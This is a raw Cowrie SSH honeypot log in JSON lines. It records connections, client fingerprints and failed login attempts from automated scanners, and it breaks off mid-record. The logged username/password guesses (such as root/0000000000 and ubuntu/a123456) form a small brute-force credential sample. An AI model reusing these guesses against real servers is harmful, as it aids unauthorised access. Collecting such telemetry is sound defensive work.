{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:01.103282Z","src_ip":"115.91.48.142","session":"2e0e22506f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:01.597886Z","src_ip":"150.109.20.59","session":"1ab65ba9a0cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000000000","message":"login attempt [root/0000000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:01.936218Z","src_ip":"115.91.48.142","session":"2e0e22506f3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:03.142754Z","src_ip":"115.91.48.142","session":"2e0e22506f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":56494,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a9e41b36ddd","protocol":"ssh","message":"New connection: 80.94.92.186:56494 (159.203.135.109:22) [session: 9a9e41b36ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.105002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.267901Z","src_ip":"80.94.92.186","session":"9a9e41b36ddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.271891Z","src_ip":"80.94.92.186","session":"9a9e41b36ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":58084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1f1cea7749f","protocol":"ssh","message":"New connection: 15.204.225.76:58084 (10.17.0.5:22) [session: f1f1cea7749f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.640309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.645666Z","src_ip":"15.204.225.76","session":"f1f1cea7749f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.666138Z","src_ip":"15.204.225.76","session":"f1f1cea7749f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000000000","message":"login attempt [root/0000000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:12.742517Z","src_ip":"15.204.225.76","session":"f1f1cea7749f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:13.070147Z","src_ip":"80.94.92.186","session":"9a9e41b36ddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:13.757598Z","src_ip":"15.204.225.76","session":"f1f1cea7749f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:14.427521Z","src_ip":"80.94.92.186","session":"9a9e41b36ddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":52094,"dst_ip":"159.203.135.109","dst_port":22,"session":"f23ae9a571aa","protocol":"ssh","message":"New connection: 103.173.227.57:52094 (159.203.135.109:22) [session: f23ae9a571aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:17.887594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:17.893210Z","src_ip":"103.173.227.57","session":"f23ae9a571aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:18.127820Z","src_ip":"103.173.227.57","session":"f23ae9a571aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazse4","message":"login attempt [root/1qazse4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:18.832479Z","src_ip":"103.173.227.57","session":"f23ae9a571aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:20.070306Z","src_ip":"103.173.227.57","session":"f23ae9a571aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":33392,"dst_ip":"10.17.0.5","dst_port":22,"session":"813c504123db","protocol":"ssh","message":"New connection: 40.117.97.0:33392 (10.17.0.5:22) [session: 813c504123db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:29.782323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:29.792412Z","src_ip":"40.117.97.0","session":"813c504123db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:29.803368Z","src_ip":"40.117.97.0","session":"813c504123db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backoffice","message":"login attempt [root/backoffice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:29.885058Z","src_ip":"40.117.97.0","session":"813c504123db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:30.938864Z","src_ip":"40.117.97.0","session":"813c504123db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":36964,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe2c2a20670d","protocol":"ssh","message":"New connection: 43.173.90.78:36964 (159.203.135.109:22) [session: fe2c2a20670d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:40.106642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:40.110955Z","src_ip":"43.173.90.78","session":"fe2c2a20670d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:40.178683Z","src_ip":"43.173.90.78","session":"fe2c2a20670d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pzuser","password":"password","message":"login attempt [pzuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:40.481389Z","src_ip":"43.173.90.78","session":"fe2c2a20670d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:41.551733Z","src_ip":"43.173.90.78","session":"fe2c2a20670d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":50936,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b7012661bc3","protocol":"ssh","message":"New connection: 15.204.225.76:50936 (10.17.0.5:22) [session: 1b7012661bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:47.413390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:47.417920Z","src_ip":"15.204.225.76","session":"1b7012661bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:47.429006Z","src_ip":"15.204.225.76","session":"1b7012661bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456","message":"login attempt [ubuntu/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:47.508602Z","src_ip":"15.204.225.76","session":"1b7012661bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:38:48.522738Z","src_ip":"15.204.225.76","session":"1b7012661bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":10994,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5cddcfb419","protocol":"ssh","message":"New connection: 182.253.79.194:10994 (10.17.0.5:22) [session: 3a5cddcfb419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:11.164796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:11.172222Z","src_ip":"182.253.79.194","session":"3a5cddcfb419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:11.430311Z","src_ip":"182.253.79.194","session":"3a5cddcfb419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456","message":"login attempt [ubuntu/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:12.489554Z","src_ip":"182.253.79.194","session":"3a5cddcfb419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:13.749605Z","src_ip":"182.253.79.194","session":"3a5cddcfb419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":56286,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e96c71c2a41","protocol":"ssh","message":"New connection: 115.91.48.142:56286 (10.17.0.5:22) [session: 6e96c71c2a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:14.212714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:39:14.217517Z","src_ip":"115.91.48.142","session":"6e96c71c2a41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","h